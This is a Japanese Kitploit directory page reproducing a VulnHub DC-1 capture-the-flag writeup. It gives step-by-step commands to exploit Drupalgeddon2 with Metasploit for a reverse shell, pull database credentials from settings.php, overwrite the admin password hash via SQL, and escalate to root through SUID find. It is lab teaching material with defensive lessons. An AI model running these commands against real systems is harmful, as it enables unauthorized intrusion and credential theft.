Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
VulnHub-DC1-Writeup — VulnHub DC-1 boot-to-root — CVE-2018-7600(Drupalgeddon2)を悪用してRCEを実現し、settings.phpからDB認証情報を抽出して管理者パスワードハッシュを偽造し、SUID findを介してrootへ権限昇格する。 | Kitploit
ツール/GitHubGitHub/prapul1/vulnhub-dc1-writeup
特権昇格偵察エクスプロイトフレームワークポートスキャン脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトCTFペネトレーションテスト設定ミス学習と教育
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubprapul1/vulnhub-dc1-writeup

VulnHub-DC1-Writeup

VulnHub DC-1 boot-to-root — CVE-2018-7600(Drupalgeddon2)を悪用してRCEを実現し、settings.phpからDB認証情報を抽出して管理者パスワードハッシュを偽造し、SUID findを介してrootへ権限昇格する。

リポジトリを見る

VulnHub-DC1-Writeup

"ペネトレーションテストラボのWriteup — 偵察からroot権限取得までの攻撃チェーン全体を記録。"

🔓 VulnHub — DC-1 Boot-to-Root Writeup

難易度: 初級~中級
プラットフォーム: VulnHub
目標: 4つのフラグをすべて取得し、完全なroot権限を獲得する
攻撃機OS: Kali Linux(VirtualBox — NATネットワーク)
ターゲットOS: Debian Linux(Drupal 7 CMS)


📌 目次

  1. ラボ環境
  2. 偵察と列挙
  3. エクスプロイト — リモートコード実行
  4. ポストエクスプロイト — シェル安定化
  5. フラグ1 — Webサーバー列挙
  6. フラグ2 — データベース資格情報の抽出
  7. フラグ3 — ハッシュ操作による管理パネルアクセス
  8. フラグ4とroot — SUID権限昇格
  9. スキルとツールのまとめ
  10. 主要な学び

🛠 ラボ環境

コンポーネント詳細
ハイパーバイザーVirtualBox
ネットワークモードNATネットワーク(両VMが同じサブネット上)
攻撃機Kali Linux
ターゲット機DC-1(VulnHub)
ターゲットIP10.0.2.3(arp-scanで発見)

両方の仮想マシンは、VirtualBoxの同じNATネットワーク上に構成し、隔離されたラボ環境を維持しながらVM間通信を可能にしました。


🔍 偵察と列挙

ホスト発見

arp-scanを使用して、ローカルサブネット上のすべてのアクティブホストを特定しました。

root@kitploit:~
sudo arp-scan -l

結果: ターゲットは 10.0.2.3 として特定

サービス・ポートスキャン

バージョン検出とデフォルトスクリプトを使用して、フルNmapスキャンを実行しました。

root@kitploit:~
sudo nmap -sV -sC 10.0.2.3

主な発見:

ポートサービスバージョン
22/tcpSSHOpenSSH 6.0p1
80/tcpHTTPApache 2.2.22
111/tcprpcbind—

🔑 重要: NmapはHTTPのgeneratorヘッダーを介してWebアプリケーションをDrupal 7と明確に特定 — 既知の脆弱なCMSバージョンであることを確認。


💥 エクスプロイト — リモートコード実行

脆弱性: Drupalgeddon2(CVE-2018-7600)

Drupal 7は、Form APIの重大な**リモートコード実行(RCE)**脆弱性の影響を受けます。認証されていない攻撃者が特別に細工したHTTPリクエストを送信すると、バックエンドがそのリクエストをシステムコマンドとして実行します — 認証は一切不要です。

Metasploit Frameworkを起動:

root@kitploit:~
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

結果: Meterpreterのリバースシェルが www-data(Webサーバーのプロセスユーザー)として正常に開通。


🐚 ポストエクスプロイト — シェル安定化

MeterpreterからネイティブのLinuxシェルにドロップし、Python PTYを使用してシェルを安定化しました。

root@kitploit:~
shell
python -c 'import pty; pty.spawn("/bin/bash")'

結果: /var/www 内で www-data@DC-1 として完全対話型のbashシェルを取得。


🚩 フラグ1 — Webサーバー列挙

root@kitploit:~
ls -la /var/www
cat flag1.txt

フラグ1の内容:

root@kitploit:~
Every good CMS needs a config file - and so do you.

💡 ヒント: Drupalの設定ファイル — settings.php を直接指し示しています。


🚩 フラグ2 — データベース資格情報の抽出

Drupalの設定ディレクトリに移動し、設定ファイルを調査しました。

root@kitploit:~
cd /var/www/sites/default
cat settings.php

$databases 配列に埋め込まれていた資格情報を発見:

フィールド値
データベースdrupaldb
ユーザー名dbuser
パスワードR0ck3t

フラグ2の内容(ファイルコメントより):

root@kitploit:~
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

💡 ヒント: この資格情報を使ってMySQLバックエンドにアクセス — 総当たり攻撃は一切不要です。


🚩 フラグ3 — ハッシュ操作による管理パネルアクセス

ステップ1: データベースの列挙

root@kitploit:~
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

admin と fred のハッシュ化パスワードを発見 — どちらもDrupalの $S$ ハッシュ方式(SHA-512ベース)を使用。

ステップ2: カスタムパスワードハッシュのフォージ

既存のハッシュをクラックする代わりに、Drupal標準のPHPスクリプトを使用して新しいハッシュを生成しました。

root@kitploit:~
cd /var/www
php scripts/password-hash.sh password123

出力: password123 に対する有効な $S$D... ハッシュ

ステップ3: SQLによる管理者パスワードの上書き

root@kitploit:~
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

http://10.0.2.3 に admin / password123 としてログイン成功。

フラグ3の内容(Drupal管理コンテンツパネル内で発見):

root@kitploit:~
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

💡 ヒント: find コマンドのSUIDバイナリの設定ミス — 権限昇格のベクトルを特定。


🚩 フラグ4とroot — SUID権限昇格

ステップ1: システムユーザーの列挙

root@kitploit:~
cat /etc/passwd

ホームディレクトリが /home/flag4 のユーザー flag4 を特定。

root@kitploit:~
cat /home/flag4/flag4.txt

フラグ4の内容:

root@kitploit:~
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

ステップ2: find を利用したSUIDエクスプロイト

find バイナリに SUIDビット が設定されており、実行したユーザーに関係なくファイル所有者(root)の権限で実行されることを意味します。

root@kitploit:~
find . -exec /bin/sh \;
whoami
# root

ステップ3: ルートフラグ

root@kitploit:~
cd /root
cat thefinalflag.txt
root@kitploit:~
Well done!!! Hope you enjoyed DC-1!

完全なroot権限を獲得。✅


🛠 スキルとツールのまとめ

使用ツール

実証したスキル

  • ✅ ネットワーク偵察&ホスト発見
  • ✅ サービスフィンガープリンティング&CMS識別
  • ✅ CVE調査&公開エクスプロイトの活用
  • ✅ Metasploit Framework — ペイロード展開
  • ✅ ポストエクスプロイト&ラテラルムーブメント
  • ✅ データベース列挙&資格情報抽出
  • ✅ パスワードハッシュの偽造&CLIによるSQLインジェクション
  • ✅ Linux SUIDバイナリの監査
  • ✅ rootへの権限昇格

📚 主要な学び

攻撃者の視点から:

  • パッチ未適用のCMSプラットフォーム(メジャーバージョンで1〜2世代古いだけでも)は、公開CVEとMetasploitモジュールによって簡単に悪用可能です。
  • settings.php のような設定ファイルには平文の資格情報が含まれていることが多く、攻撃者がWebアクセスからデータベースの完全な制御へと権限を拡大できます。
  • find、vim、python などの一般的なバイナリのSUID設定ミスは、Linux環境における最も信頼性の高い権限昇格ベクトルの1つです。

防御側の視点から:

  • CMSプラットフォームは迅速にパッチを適用しましょう — Drupalgeddon2にはパッチが存在していました。問題はその適用が遅れたことです。
  • 秘密情報(DB資格情報)は、暗号化や環境変数による抽象化なしに、Webアクセス可能な設定ファイルに置いてはいけません。
  • SUIDバイナリを定期的に監査しましょう: find / -perm -4000 -type f 2>/dev/null は、Linuxのハードニングチェックリストに必ず含めるべきです。

⚠️ 免責事項

このWriteupは純粋に教育目的であり、隔離された合法的なラボ環境で実施した活動を記録したものです。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して、これらの手法を試みないでください。


作成者: Prapul | TryHackMe プロフィール | GitHub

ツールをダウンロード
ツール目的
arp-scanローカルサブネット上のホスト発見
nmapポートスキャン&サービスフィンガープリンティング
Metasploit FrameworkCVE-2018-7600エクスプロイトの配信&リバースシェル
MySQL CLIデータベース列挙&資格情報の操作
PHP(password-hash.sh)ネイティブDrupalハッシュの生成
Python PTYシェルの安定化
VirtualBox隔離されたラボ環境のセットアップ